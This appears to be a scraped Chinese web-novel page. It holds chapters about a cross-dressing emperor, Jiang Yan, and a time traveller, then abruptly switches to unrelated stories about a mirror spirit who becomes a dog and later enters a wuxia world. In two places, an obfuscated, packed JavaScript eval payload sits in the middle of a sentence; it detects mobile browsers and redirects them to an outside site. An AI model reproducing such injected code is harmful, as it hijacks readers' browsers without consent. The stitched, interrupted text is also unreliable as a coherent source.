月乡县令并不赞同姜言的话:“陛下日日与博学鸿儒往来,自然会觉得天下人都如同他们一样善谈聪慧,可百姓大多连字都不识,眼光见识也仅限于田亩之间,臣称之为愚民,已是美言。” 实地接触百姓的人对于民众的面貌比她更了解,月乡县令会这么继续反对她,应该是遇到过一些难事,可是,身为皇帝,有些话姜言不得不说。 “道之以政,齐之以刑,如何?” 月乡县令沉默了一会儿,接了后半句:“则民免而无耻。” 这段话出自《论语》,在为政篇,下一句是“道之以德,齐之以礼,有耻且格”。 《论语》是科举必考篇目,孔子是“有教无类”一说的先驱者和倡导者,文中处处都有要求教化朝廷去万民的知识点,姜言从小就跟着父亲学习儒家经典,这段时间为了在朝堂上能好好说话也翻来覆去复习了很多遍。 儒家所指的学问,往往就是道德和礼仪,孔子在他的文章出展现出来的最高的政治理想,就是让天下人都懂道德知礼仪,月乡的百姓不知触碰鸥鸟会有可能对他们造成损害,这其实没什么愚不愚,每个人经历的都不一样,获取的知识都有不同,所有人都会有自己无知的一面,如果因此而觉得他们愚蠢,用政令去管制他们,用刑法来约束他们,而不讲清楚道理,或许这一届的月乡县令政绩会挺好看,但是他的到来可以说是没有给百姓带来任何正向的影响。 “朕明白教导百姓懂道德知礼仪是一件非常困难的事,”姜言还是给他详细地讲了讲:“可天下间就没有简单的事,农人年复一年地在三伏下田,才有全国的粮食全军的粮草,工人年复一年地专精于一道,才有皇宫里的雕梁画栋和街坊间的奇趣小物,商人以小博大,以风险换利益,其中投机者是可以偶然得势,一转天下,然皆由一而再再而三的失败铸成,至于你,士人,这一道,原本即是,若无弘毅之志,不可胜任。” 月乡县令闻言十分感动,他还感动地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459120|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜言打算在月乡盘桓几日,他一定要好好招待陛下,姜言眨了眨眼睛,没有回答。 当晚姜言和云问风就离开了月乡。 云问风在一旁围观了他们的全部交流过程:“我感觉那个县令好像没把你当回事,他根本就不是想招待你,他就是想问你什么时候走。” 姜言很理解:“县令在地方上都是土皇帝嘛,肯定不喜欢朕过来看他。” “其实基层是很麻烦,那个县令我看年龄也不大,你说的那些对他来说有点过于空泛了。” 人和人之间是有区别的,有的人眼中很好理解的事情,很多人是很难理解的,甚至不想不愿意去理解的,能通过科举考试的人,心性比一般人要坚定很多,和他们讲道理,当然不会想和那些随和甚至随波逐流的人那样好讲。 毕竟月乡县令这个人,古代寒门出身的人能买得起书就已经很不容易了,还要重视书本知识,放弃自己赚取生活开销的时间去读那么难懂的书,去和那些生在世家里天天只需要学习的贵族子弟一起考试,他还能考出来,他这个思想境界跟普通百姓之间的差距实在是太大太大了,大得都快超出同一物种的范围了,会那么理所当然地称呼百姓为“愚民”,似乎也在情理之中。 “再空泛也要讲,”姜言心里也明白:“朕是皇帝,这是皇帝必须要说的话。” 只是言论往往没那么容易实施下去。 县令在地方上就是土皇帝,就和朝中有世家贵族一样,乡间也有乡绅土豪,皇帝不能靠着世家治国,县令却是可以靠着乡绅治乡的,世家贵族会诱导皇帝打压寒门士子,乡绅土豪也会诱导县令这个土皇帝看不上佃户农民,但是,自古以来,古圣先贤们对官员和皇帝的要求,是和这些完全相反的。 民为贵,社稷次之,君为轻,皇帝得天下,是得民心而得天下,宁国的百姓也曾经是很多国家朝代的百姓,一言不合百姓可能就会造反,看一个皇帝合不合格,首先就是看有没有内乱,有没有百姓起义,前者还好,一旦有百姓起义就表明皇帝可能失了民心,失了民心以后,就是墙倒众人推。 县令看不上佃户农民,在佃户农民眼中可不止是县令看不上他们,这些最底层的人思想是很直接的,他们会觉得县令看不上他们就是州牧看不上他们,连带的还会觉得朝堂百官也看不上他们,皇帝这种人上人更是看不上他们,没有人会愿意为一个从头到脚都看不上自己的集体去努力劳动,乞丐尚且不受嗟来之食,当时旁边那么多人看着,这县令敢说百姓是愚民,姜言可不敢说。 “那当时如果旁边没有其他人,你不用说皇帝必须说的话,你会和他怎么说?” “朕何必与他说?”姜言摇摇头:“他读了这么多年圣贤书也没读出何谓强权?” 31. 第 31 章 姜言给太后写信的时候,云问风在她旁边画画。 姜言写完信,看他的画看了好半天,才抬起头说了一句:“将军对书法似乎颇有心得。” 云问风是直接导出的表情包,上面的字是印刷体。 姜言突然问了一句:“你之前提到的‘现代’,是个什么样?” 再被他问下去,姜言怕自己从前是宫妃的这件事要瞒不住,云问风可能暂时还不太了解,但等到往后他认识的人多了,早晚会意识到姜言和世家大族里真正的嫡系公子比起来差得有多远。 她虽然也识字读书,但更多时间是花在女红和梳妆上的。 尽可能多提云问风的过去而不是她的过去,或许会是个不错的选择。 云问风倒是很乐意与人分享自己的过去。 “现代就是距离宁朝一千多年以后的时代,没有皇帝,但是有文士有将军,不过有很多国家也有皇帝,宁国是地球上的很多个国家之一,地球形势像是春秋时期。” “现代以前呢?” “现代以前,宁国是处在淮朝。” “淮朝是什么样的?” 云问风想了想:“淮朝……很有钱?不过宁国大多数朝代都很有钱,我对历史也不太了解。” 何止是不太理解,姜言怀疑他没有接受过教育:“你们不学史?” “学过一点,文理分科以后我选了理,之后是学……”云问风回想着那段艰难的日子:“物理,化学,还有生物,再之后是大学的,不是那个四书五经里的大学,是我们的高等教育,大学里会专精一道研究很多相关课程,我学了……总之我是没有在大学去学历史。” 听起来他好像对淮朝真的没什么印象,姜言有点好奇:“现代距离淮朝有多久?” 云问风想了想:“到我出生的时候,淮朝好像也只过去了几十年。” “那淮朝后来怎么样了?是怎么变成现代的?” “后来爆发了革命,淮朝皇帝被打倒了,中间发生了很多战争,国内国外的都有,死了很多人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459121|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜言听完有点感慨:“我从来没有想过,皇帝还能有消失的一天,我原本以为是风水轮流转呢,对了,你在后世有听闻过姜家吗?” “在现代没有听说过。” “诶?好吧,那淮朝有姜家吗?” 云问风困惑地摇了摇头:“淮朝是旗族的朝廷,这个朝代的家族都是名字很长的,比如叶赫那拉氏家族什么的,我没有听说过姜家。” 姜言咬了咬牙:“真是不肖子孙。” “你怎么回事?你胳膊肘往外拐?” “朕哪里胳膊肘往外拐了?朕身上也流着姜家的血,况且,你敢说你身上就一点姜家血脉都没有?姜家可是绵延千年的世家大族。” 云问风心头一动:“那我可以凭我的姜家血脉去找姜习领个闲职再多拿一份俸禄吗?” “你真是放肆,”姜言瞪着一双死鱼眼:“姜太傅不是可以任由你如此诽谤的。” “是吗?”云问风耸耸肩:“我看世家大族往往如此。” 32. 第 32 章 镜世 都市日常 第1章 我是一个镜妖,或者说镜灵,有自我意识的非人存在被称为妖,没有自我意识依附外物生存的叫做灵。 我应该更偏向于镜灵,因为我好像没有人类那么复杂的心理感情,最近几年才有了自我的概念,不过镜妖镜灵都差不多,反正灵早晚会成为妖。 应该是这样吧,其实我也不太清楚,我不知道这段信息从哪来的,也不知道该怎么求证,毕竟这个世界上只有我一个灵。 我生活在这个世界的镜中,最早只能在古旧的镜子里看到东西,后来也许是我长大了,可以从更多的地方看到外界,平静的湖面,瑰丽的宝石,甚至人类的双眼,都可以是我的栖身之处,一切可以照出光彩的地方,都是我的家。 就在这几天,我感觉到了我变得更强了,强到可以从镜中走出去。 可是,走出去以后呢?我还能回家吗? 虽然我也想去摸摸毛绒绒的小东西,去唱唱人类哼过的小曲儿,也猜过空气的味道,可是我是镜灵,镜子才是我的归宿。 如果离开了镜子,我会变成人类,做一个没有身份的乞丐,还是变成猫狗在街上流浪,或者只是变成一个不能再游走的镜子? 缺乏的信息太多,已经不足以支持我进行下一个决策。 这些年我在c省一个三口之家暂住,就在一周前,家里本来不喜欢打扮的小姑娘突然挑起了衣服,还学起了化妆,她每次出门前在门口照镜子时的表情,仿佛临阵对敌般认真紧张杀气腾腾。 我经常呆在客厅放着的仓鼠笼里,里面有个不锈钢做的饮水管道,正对着笼子里的小木屋,可以每天和仓鼠小朋友说早安,它每天都起得很早,午觉也睡得很早。 这家的姑娘名叫周洛,我挺喜欢她的,这种情绪应该叫喜欢吧?我也不太确定。 日影西斜,估摸着时间到了,我又该出门转转了。 小区池塘边的木桥后边,有个老旧的杂货铺,我走到老板的手机里,手机被他放在木柜上,我能看到一只猫伸着毛绒绒的爪子直愣愣的看着我,其实应该是在看手机,没有东西能感受到我的存在。 这个老板开着杂货铺,在铺子里摆了几个麻将桌,经常有老人来这里打麻将买东西,现在很多老人都是自己住,看到小猫就想到了自己的小孩,纷纷父爱母爱泛滥地给路过的流浪猫喂粮食,没带的就直接在杂货铺买,老板也不把猫赶出去,猫也够乖,不仅不咬人还经常在周围抓老鼠,久而久之,这里的猫越来越多,前段时间一个新成立的动物保护组织来这里给小猫们做了绝育,总算稍微遏制了一下数量。 听老板说,如果数量多了,来的就不只是慈眉善目的老爷爷老太太了。 我感觉老板其实不怎么喜欢猫,因为我从没见过他喂猫吃东西,猫饿了就自己逮老鼠吃,也可能是因为他们那个年代的猫都是这么养的吧。 老板揉了揉猫头,拿回了手机,我想了想,去了火车站,周洛再过两天就会坐火车去j省,从这里过去要一天,为了这个,她还跟父亲吵了一架,周洛的父亲很在意她的安全,认为见网友没有必要而且容易出事,要跟她一起去。而周洛的看法呢,我也不太懂她为什么那么生气,我觉得周洛的父亲说得很有道理,不明白她为什么非要去。 对于我来说去j省就很简单,想一想大概的位置,我就到了,j省是个好地方,海滨风景,温软人情,与c省截然不同。 古人云女为悦己者容,一个从来不爱打扮的孩子突然讲究起来,确实可以从这方面推测一下,所以我决定等下次周洛打开手机聊天的时候钻进她眼里。 反正,就算她知道了,也打不着我。 开玩笑啦,她不可能知道的。 结果我还真看到点东西,周洛经常跟一个男生聊天,不过一般都是周洛说一堆,那个男生回几个字就完了,他们呆在同一个群,好像是个游戏帮会群,男生跟别人聊的时候温温柔柔暧暧昧昧的,只有对她比较冷淡。 实话实说,我觉得这很不对劲,毕竟周洛也不是什么抖M,这么觍着脸对一个人好,实在是不像她。 也许是叛逆期还没结束? 去看看就明白了吧,这样想着,我跟上周洛,进入了车厢。 第2章 左右无事,我在火车晃悠一圈看看,有大叔大妈在侃大山,有小美人在补妆,也有认真学习的学生,总体来说,是很普通的一个火车。 在隔壁车厢看到一对夫妻教导自家的小孩水太烫了不能喝,可以拿两个杯子倒过来倒过去,慢慢的水就凉了,我就看着这个小孩倒水看了半天。 坐火车实在是一件十分无聊的事,周洛的手机也连不上网,打不了游戏,上铺的女人在看韩剧,我看不懂,其实别的剧我也看不懂,以前的还好,现在的越来越看不懂了。 想想导演也不会考虑我的口味,看不懂也正常。 平平稳稳地过了一天一夜,到了j省,改坐轻轨进酒店,我看到了周洛的父亲,周洛也看到了,她瞟了两眼,哼了一声,可惜他在打电话,没看到周洛。 晚上六点,周洛带着大包小包长包准时到达酒店,跟大家打了招呼,一进门就受到了许多人的热情欢迎,这让她有些不知所措,一行人吃完饭后提议九点去ktv,还有几个人帮着周洛提行李,她红着脸说谢谢,跟着上了楼。 周洛一直以来是很讨厌社交的,平时能不说话就不说话,但是并不害怕社交,偶尔需要的时候跟陌生人搭讪也是大大方方的,但这次她会参与线下面基我是很惊讶的,因为这群人对她来说比较熟悉,又确实陌生,我知道她在这个叫做vv的社交app里有两个账号,这次见面的这群人是在她表现得更随意的那个账号的列表里的。 谁能想到走路带风眼里有刀的三无少女周洛随意起来一会儿嘤嘤嘤一会儿qwq颜文字满天飞沉迷卖萌无法自拔? 能来参与面基只是红个脸没有扭头就走我觉得她很有勇气了。 婉拒了唱k的邀请,周洛回自己房间打开包,把长包开了个缝放到枕边,跟同住的另外一个女生打了招呼,整理了一下房间,拿了袋纸皮核桃去找那个男生。 周洛叫他墨旻,我也不知道他本名是什么,今天他看到周洛的神色有些奇怪,像是有什么不好的打算,周洛仿佛浑然不觉,敲开了墨旻的门,站在门口双手抓着袋子小声跟他说忘了带核桃钳,墨旻叫周洛进去坐坐,周洛反而退了两步,依然小声地说那太打扰你了。 墨旻从房间里走出来,带周洛去店里借核桃钳,周洛的手机嗡了一声,她打开看了一眼,咬了咬唇,是父亲的短信,叫她有事随时联系。 “纸皮核桃很脆的,你可以直接捏开吗?” “那你怎么不捏开?” “我就是捏不开才来找你的呀……” “洛衣。” 周洛应了一声,抬头看着他,眼睛里透着疑问。 “没什么。” 墨旻捏开了纸皮核桃,和周洛找了个桌子边吃边说。 “怎么突然又决定来了?” “嗯,这次面基之后,我大概就是要现充啦!” “所以?来跟我们告别?” “啊,还有还有,关于你的。” “怎么说?” 周洛这次顿了一下,挺胸抬头深呼吸,露出一个公式化的微笑,说:“我觉得我还是应该当面堂堂正正地告诉你,我喜欢你。” 诶? 墨旻也愣了一下,反应过来之后露出一个大大的笑脸,我在考虑我要不要回避一下,说不定等会人家说着说着就…… “你很开心,你也喜欢我?”周洛笑吟吟地看着他。 墨旻点了点头。 “所以我们死情缘吧,你忘了我一开始就跟你说过,如果对我有了恋爱这种奇葩的想法就直接跟我说死情缘吗?冷暴力很好玩?” 正准备跑路的我:…… 啊发生了什么? 我有些疑惑地看着彻底愣住的墨旻,再看看面无表情的周洛。 “为什么?” “我已经说得很清楚了。”周洛说完这一句,头也不回地走了,纸皮核桃还留在那里,墨旻拿了两个起来,无意识地捏开了,手劲不小的样子。 周洛没有回房间,而是去了厕所,我不好意思跟着进去,就在洗手池上等着,等久了,听到了一丝压抑的哭声,像是不小心哭出来又马上憋回去。 过了很久,周洛终于出来了,洗了洗手,擦了擦脸,掏出一个小盒子,开始补妆。 晚上光线不太好,周洛补完妆后根本看不出她哭过。 既然这么在意他,为什么还要分手?墨旻既然喜欢周洛,为什么还要对她那么冷淡? 我想不明白,跟着周洛回到房间,刚好另外两个女生准备出门去ktv,周洛跟她们打了招呼,关上门,坐到椅子上抱住腿缩成一团,坐了一会,又打开包,翻出睡裙,检查了一下水温,打算洗澡睡觉。 周洛在外面穿的睡裙其实就跟普通裙子差不多,只有在家里会穿各式各样的小动物睡衣,这次出门直接踩着松糕拖鞋就出门了,说起来也是很少有人真的拿松糕拖鞋当日常拖鞋穿。 洗澡吹头洗衣服搞完就快要10点了,周洛翻了翻手机,扑进被窝里要睡了,我有点纠结要不要出去玩会,没事看挺无聊的,可是我是很相信周洛的父亲说的女孩子一个人在外面很危险的话的,不过就算我呆在这里她还是一个人啊,好像也并没有什么用。 以前可以这么想吧,现在我可以从镜子里出去了,作为一个好灵,我还是守在这里吧。 第3章 大概是在午夜时分,有人敲了敲门,我记得同一房间那个女生出门时带了钥匙,就去看了看,发现门前的是白天看到过的几个男生。屋内没有反应,敲门的男人嘿嘿两声,墨旻弹了弹烟灰,给他们一个眼神,他们就直接撞开了门。 噗—— 周洛拿着个苹果,另一只手拿着水果刀,水果刀插在最先进来的人眼睛上,往下一看,还补了一记撩阴脚。 带来的长包裹被放在门边,周洛把苹果往墨旻头上一砸,伸手从包里拿出长剑,皱眉道:“我练剑的时间到了,让一下。” 就好像刚才只是踢了一条拦路狗一样,门外的人被唬到了,我就静静看着周洛穿着睡裙拖鞋走了出去。 电梯没人,周洛一按就开门了,她从酒店出去就开始跑,跑到附近的银行,打了个电话给110,玩了会儿游戏,输了四局,被队友喷清醒了,才拨打了父亲的电话。 “喂?乖乖?”是父亲的声音,听起来很困。 “呜——” 我听到周洛突然嚎了起来,旁边在椅子上看手机的保安大叔一脸懵逼地看着周洛。 “怎么了?别哭啊。” “哭没有用,发生什么事了,告诉爸爸,爸爸来解决。” “开定位,爸爸过来找你。” …… 然而周洛越哭越大声,还从“呜——”变成了“嗷——”。 哭了几十分钟,周洛终于冷静下来,却说了一句没头没脑的话:“爸爸——我想养狗狗——”。 “那你哭什么啊?” “我就是要养狗狗——呜嗷——” “好好好养养养。” “嘿嘿。” 周洛擦了擦眼泪,声音哭得有些嘶哑,妆面被泪水淹得乱七八糟,笑得实在难看。 “哭是没有用的,遇到问题我们要去解决它,解决不了就告诉爸爸,不要为了不值得的事情产生没有作用的负面情绪,明白吗?” “哦,爸爸你不睡觉吗。” “嗯,爸爸去睡了。” 周洛结束了通话,跟保安大叔说了一句打扰了,抱着剑靠着墙,安静下来。 我觉得这个时候我应该去安慰一下她,因为大概没有别人能安慰她了,她不想让父母担心,身边除了摸不着头脑的保安大叔也没有其他人,而且宠物狗的生活看上去蛮不错的,是一个很好的就业岗位,就算回不了镜子也可以勉强接受。 我总不能真的一直在镜子里呆一辈子吧。 想想我活了这么久还没做过一件好事,这样的灵生简直毫无意义。 话说为什么周洛要养狗,她不是最喜欢猫吗? 算了我肯定想不明白。 我钻出玻璃门,看了看我的手,或者说是脚,确实是狗的样子没错,摇着尾巴过去拿头蹭了蹭她的鞋面。 周洛看到了我,蹲下来,摸了摸我的头。 她是真的很喜欢小动物,平时在家不管多难过只要看到仓鼠就会很开心,在杂货铺看到猫就走不动路,果然对狗也是这个态度。 “小狗狗,你要陪我等吗?” 我看着她,犹豫是汪一声回应还是摇摇尾巴,怎么做比较符合一只狗的身份,还没想好,周洛先开口说了:“狗狗饿了吗?” 我不会饿吧,毕竟不是真的狗,我也不清楚,要不以后饿两顿试试? “狗狗听不懂啊。” 我想了想,又蹭了蹭她的腿。 银行的玻璃门被打开,警察走了进来,周洛跟着走上了警车,我也跟着跑,周洛回头看我一眼,把我也抱上了车。 警察到的时候把酒店里的人吓坏了,他们搜到一个房间里有一地昏迷的人,正面碰上了墨旻等人,当场拿下,带回警察局再来找周洛。 “小妹妹是个练家子啊!”旁边的警察叔叔看着周洛的剑调侃了一句。 “不是,这是陪外婆练太极剑的时候买的。” “太极剑,你外婆还真是老当益壮。”警察叔叔一拍大腿:“高手在民间啊!” 周洛脸上的表情有些尴尬:“就是,那个,呃,广场上,一般在广场舞旁边那个太极拳太极剑……” 警察叔叔:…… 最后确定这是一伙人贩子,周洛另外找了一家离派出所近的酒店租住,陆陆续续有参与这次面基的人上门道谢,六天后,我经历了一次飞机托运,感觉不怎么样,回镜子晃悠了会。 “给它取名字了吗?”下飞机以后最先听到的是父亲的声音。 “取啦,汤圆。”我又被抱了起来,父亲打了个车,周洛抱着我上车,父亲伸手拎起我的后颈皮:“确实是个汤圆。” 我现在的外观是一只幼年白松狮犬,俗称狮子狗,咋一看就是个白毛球。 父亲把我放到他腿上,一脸严肃:“汤圆儿啊,我是爸爸,她是姐姐,我们今天回去看妈妈。” 对于父亲时不时抽风这种事,我在家看了那么多年早就已经适应良好,淡定地向他摇摇尾巴作为回应。 父亲满意地揉了揉我的狗头。 这家人里,父亲和周洛都是爱狗人士,相较而言父亲比周洛更喜欢狗,路上看到就要去逗一逗,我要成为宠物狗最大的难关在于周洛的母亲。 周洛的母亲是一位家庭主妇,喜欢干净,也喜欢旅游,多半要嫌我难打理,也不想去哪都得带着条狗,而且家里的人都要听她的话,我如果要以宠物狗的方式呆在周洛家,这个暑假周洛肯定会好好照顾我,过了这个暑假,如果我还不能让周洛的母亲喜欢我,我就要面临失业危机。 “妈!” 到家了,我还被抱在父亲手上,大概是提前报备过,周洛的母亲看到我并没有惊讶,地上还多了个狗碗,装着狗粮。 周洛一进门就扑进母亲怀里,父亲慢慢把我放到地上,我往狗碗的方向走,有点好奇地伸爪子碰了碰狗粮,硬硬的,说起来这还是我头一次吃东西。 “妈妈你看!汤圆!可不可爱!”周洛扯着母亲的袖子特别兴奋,我感觉背上被摸了一把。 “嗯,可爱,吃饭吧。” 十年前,周洛捡回来一只奶猫的时候,周洛的母亲也是这么说的,后来…… 就业果然是个大问题。 第4章 晚上周洛给我洗了个澡,说是过几天还要去打狂犬疫苗,做驱虫什么的。 周洛想跟我一起睡,不过被父母拒绝了,我只能在沙发或者地板上将就一晚上。 那当然是沙发啦,我蹦上去缩起来,其实缩不缩也无所谓,天气也不冷,而且根据炎热带来的体验,估计寒冷对我来说也只是一种简单的认知,不会因为这些感到难受。 啊对了,我还可以去看看仓鼠,一只叫饭团的布丁仓鼠。 半夜三更,我闭着眼,感觉到又被摸了一把,睁眼一看,是周洛的母亲。 没等我站起来,脑袋又被揉了揉,还被捏了下耳朵。 这就很不对劲了。 “汪~汪汪~” 这不是我喊的,我怀疑我可能看到了至今为止的唯一一个同类,我怕不是见鬼了。 周洛的母亲又摸了摸我的爪子,转身走了。 我陷入了沉思。 想了一晚上也没想出来为什么,第二天清晨又被家里三个人一人摸了一把,周洛的父亲出门上班,周洛去做兼职,留下我和周洛的母亲,不过也没有留多久,周洛的母亲给我带上项圈,打算带我出门。 没走几步,去了隔壁一栋楼,到了周洛的外婆家,母亲抬起我的爪子跟外婆打了个招呼,我又被外婆摸了一把,抱在了怀里。 感觉自己已经是一个成功的宠物狗了呢! 中午在外婆家吃饭,周洛也来了,周洛的母亲去买了菜,我的狗粮也带来了,随便拿了个碗当作我的狗碗。 关于周洛母亲的奇异态度,我或许应该从科学的角度去思考,我看了看她,刚好她也在看我,还对我露出一个宠溺的笑容。 前段时间看过一则科普漫画,说由于驯养狗的历史过于悠久,狗已经彻底融入了人类社会,人在与狗对视时,会大量产生一种激素,常见于父母与孩子之间,所以说,是因为周洛的母亲特别喜欢孩子,就顺带的喜欢我了吧? 这么一理解突然觉得很有道理。 “汤圆在想什么呀?”我又被摸了一把。 “要多吃饭才会长胖,以后长得滚圆滚圆的,滚都滚不动。” 像饭团那样吗? “圆圆已经滚圆滚圆的了,你才是要多吃,这么瘦。” 有吗?没有吧?这是松狮犬的正常体型啊,肥瘦很均衡的。 “汤圆儿,圆圆儿,怎么这么圆?”这是外婆,说着说着又想摸我一把。 “汤圆是狮子狗啦,毛特别多,就圆了。” 说得对,完全是因为毛多,我深以为然地转头看着周洛。 “你看它在摆脑阔,肯定是觉得你说错咯。” 我不是我没有。 没说几句她们就转移了话题,等我的狗粮吃完,她们的饭也吃完了。 “汤圆下午睡午觉吗?” 我蹭了蹭周洛的腿。 “姐姐要出门上班啦,汤圆在家里要听妈妈的话。” “汪。”这次是我说的。 所以这次就业似乎就这样顺利的完成了。 下午回到家,我去了周洛的卧室,这里有很多书,小说漫画名著都有,以前想看书只能在别人看的时候去跟着看看,现在我从镜子里走出来了,可以自己翻翻了。 那么,就从这部《奇侠传》开始吧,我还蛮喜欢看小说的。 我伸出两只爪子,一上一下打算翻开这本书。 破屋,枯树,还有一群衣裳古旧的叫花子。 这个视角,我试着歪歪头,没反应,我是又在镜子里了。 怎么回事?我往c省走,到达以后,只看到一片古代建筑,街上没有电灯,只有灯笼烛火。 我闪进一户人家,看到有人提着灯守夜,思考片刻,我加快速度转了一大圈,到处都是华国古风建筑,在x市找到了皇帝,然后我就又不明白了,这个皇帝我不认识啊。 明天他醒了问问他吧,皇帝都是很聪明的。 我先想想,他们穿得挺古风的,皇帝是男的,大概是父系社会,这样我变成男人去见他比较合适,变成女人可能会很麻烦,突然出现很可能会把他吓到,穿上道袍会显得比较正常,为了增加可信度,头发干脆也改成白发,那就变成一个白衣白发仙气飘飘的男道士去见他好了,怎么算仙气飘飘?照着周洛打仙侠游戏的人物模拟一个应该就可以了。 第二天清晨,我等着皇帝去上朝,不能打扰人家干正事,等他下朝去赏花,我觉得这个可以打岔,就直接从擦得发亮的地板上出来,跟皇帝打了个招呼: “皇上,我有点事想找你问问。” 皇帝懵了一下,好在大概是我的道袍起了作用,没懵多久,很装逼地给了我一个字:“说。” “现在是哪朝哪代?你是谁?为什么我没有见过你?”其实我估摸着这可能是唐朝,因为昨晚看到不少女人穿的古代男装。 旁边的人瞪圆了眼睛,皇帝沉默了很久,冷笑一声:“你是在怀疑朕?” 也许这是个稍微有点笨的皇帝,我感到很失望。 “你记好了,朕是宁国皇帝”。 说完绕过我就走了。 这么生气,好像我欺负他了一样。 大概不认识他对他来说就像周洛说我胖一样超出了认知范围吧,这样想我就能理解了。 我还是没有重量的,只要不下意识去模拟人类的状态,我就轻飘飘的离地而起,正好可以上天去看看能不能回去。 没飞多久,就被拦在了一堵空气墙外,我只能再试试下海,然而在深海,我又被拦住了。 我走回了刚来这里的地方,一群小叫花子愣愣地看着我,我带了一袋馒头,用野生小麦变的,袋子是野草变的。 “你们饿不饿?”我试图拿出比较亲切的表情和语气,不过我亲不亲切似乎都没什么必要,小叫花子们飞快地一拥而上,然后给我送上各式各样的吉祥话。 我把袋子放到地上,他们的声音渐小,只剩下狼吞虎咽,抢得很乱,吃得倒快,总共十来个人,一米高的一大袋馒头很快就没了,估计是有人藏了点,吃完以后有人收了袋子,离得远远地给我磕了头,脏兮兮的脸上带着傻兮兮的笑,我看了一圈,没人要找我说话的样子。 我认为这个地方也许会很特别,就像一个游戏的新手村,结果似乎并没有找出我要的npc,抖抖袖子,我正打算去好好办理一下户籍,余光瞟到有个孩子打算往我这里跑,不知道为什么又停下了。 奇侠传 第1章 我转身,像个普通人一样从破屋走出去,说起来也是一种很新奇的体验,以前只能从镜面往外看,现在总算可以走进来了。 听到身后越来越急的脚步声,我停了下来,那个小孩撞上了我的背,大概是力气用得有些大,不得不抱住我以维持平衡,缓了一下,又赶紧抽回手,一双眼睛闪了闪:“老爷,谢谢您的馒头,我能帮您做什么吗?” 这是个狡猾的小孩。 说是帮忙,其实是想要获得一份来自热心人的工作,这个故事我在M国西部见过,那个人就要好多了,他是直接当着所有人说的,这样其他人也有机会获得一份工作,可惜那里的人并不喜欢工作,当初我并没有看懂那件事,不明白为什么那个富商因为这个年轻人的知恩图报就笃定他有大作为,后来看周洛写过读后感我才明白。 本来以为能等到一个关键性的npc,结果等到的……似乎确实是一个关键性的npc,可是我觉得他有点不好交流。 “你刚才为什么不说?” “我,我——” 不想再跟他废话,我直接走了,听到他一直在后面老爷老爷的喊,街上有人,不能直接往镜面走,会吓到很多人的,只能去郊外再说了。 这孩子还真挺能跑,跟着我到了城门口,喘着粗气,一脸难以置信地看着我:“老爷,城外有狼,还有大虫。” 那我没办法,只能暂时住郊外的,我又没有户口又没有钱,城里修房子得找人慢慢修,不然肯定要吓到人,郊外我随便转化一下就有房子住了,还可以是有天然气灶的那种。 这个时候,我看到城门上有个人直接飞过来了,飞得还挺稳的,周围的人完全不觉得有异样的样子。 这个才是关键性npc吧,我跑了过去:“你刚才是用的轻功?” “是啊”。他点点头,有些意外。 “谢谢”。 下一秒,我表演了一下技艺臻至化境的轻功高手都会的基本操作,瞬间蒸发。 古代改户籍要改三个地方的,大概是中央、州、县各一份,我给自己办个c市户籍,也没花多少时间,至于生活需要用的钱,就只能找贪官污吏去偷点了,得慢慢找,好在我没钱也饿不死。 想要通过人类社会获取方便最好还是要有钱,不过我不会赚钱,还得招人帮我管钱,偷来的也要想办法洗干净,想想就感觉一个头两个大,不想又没办法,走正规程序找皇帝是不可能找皇帝的,我这点智商还不够人家玩的。 唉,要是周洛在就好了。 这个国家蛮糟糕的,我一抓还真抓到不少贪官,一个两个都是巨富,洗钱方面我是放弃了,之前是我考虑不周,民脂民膏的我拿来用还是不太好,还是找了皇帝。 我把赚到的钱一大半给了陈辙,让他去打理,陈辙办事尽职尽责,文化水平也不低。 两年前,陈辙的父亲倒台,陈父贪腐是是我查到的,不过我并没有查到还有陈辙这个外室子,抄家的人找到他的时候,他还抱着书在读,先被自己是外室子的重磅消息砸了个黑脸,紧接着就是被充作奴隶的绝望未来。 叶觉微带着我去看陈辙时,陈辙正打算去接受宫刑做个太监,我想了想陈家的账面,向叶觉微提出想跟陈辙聊聊的要求。 叶觉微答应了我的要求,但是并没有离开,看到我想拉陈辙出去说还跟了过来,我就当着他的面问起了问题,从衣食住行到诗词歌赋,我们这才发现,从十岁起,这个孩子就是自己养活自己,有自己经营起来的庄子铺子,同时还兼顾四书五经的学习。 古代权贵向来是看低商人的,所以我跟叶觉微说我要这个人的时候他毫不在意地送我了,我带他回国师府,路上有些无聊,就随口问了问需要多少月薪福利,陈辙一开始没听懂,后来好像也会错意了,跟我哭着要娘,我就去把他娘也要过来了。 我跟管家说了他们的情况,让他安排房间,这个我自己是不会安排的,回到房间,我到镜子里又查了下陈辙手里的庄子铺子,确实如他所说。 “大人,最近有人针对我们的铺子偷盗抢劫,虽然对我们造成的损失不大,但是影响了周边治安,于州刺史对此十分不满,希望在下退出于州。” “知道了。”我也不知道该怎么正经回答就学周洛当个三无,当了几年了也没出什么问题。 写了封信以国师的名义安抚刺史,并表明会在十日内处理好,我关上门,再从镜子里出来时,已经戴上斗笠换上了一身粗麻衣,走在于州街头,突然意识到一个很严重的问题,我并不知道哪家铺子是我的。 第2章 我从来没有管过铺子的事情,偶尔有些小麻烦也只要摆一摆国师的身份就能顺利解决,虽然平时也会穿上一身侠客衣着出门逛逛,过程中也了解了一些比较出名的铺子,但是哪家铺子背后站着国师这种信息显然不在我的好奇范围内。 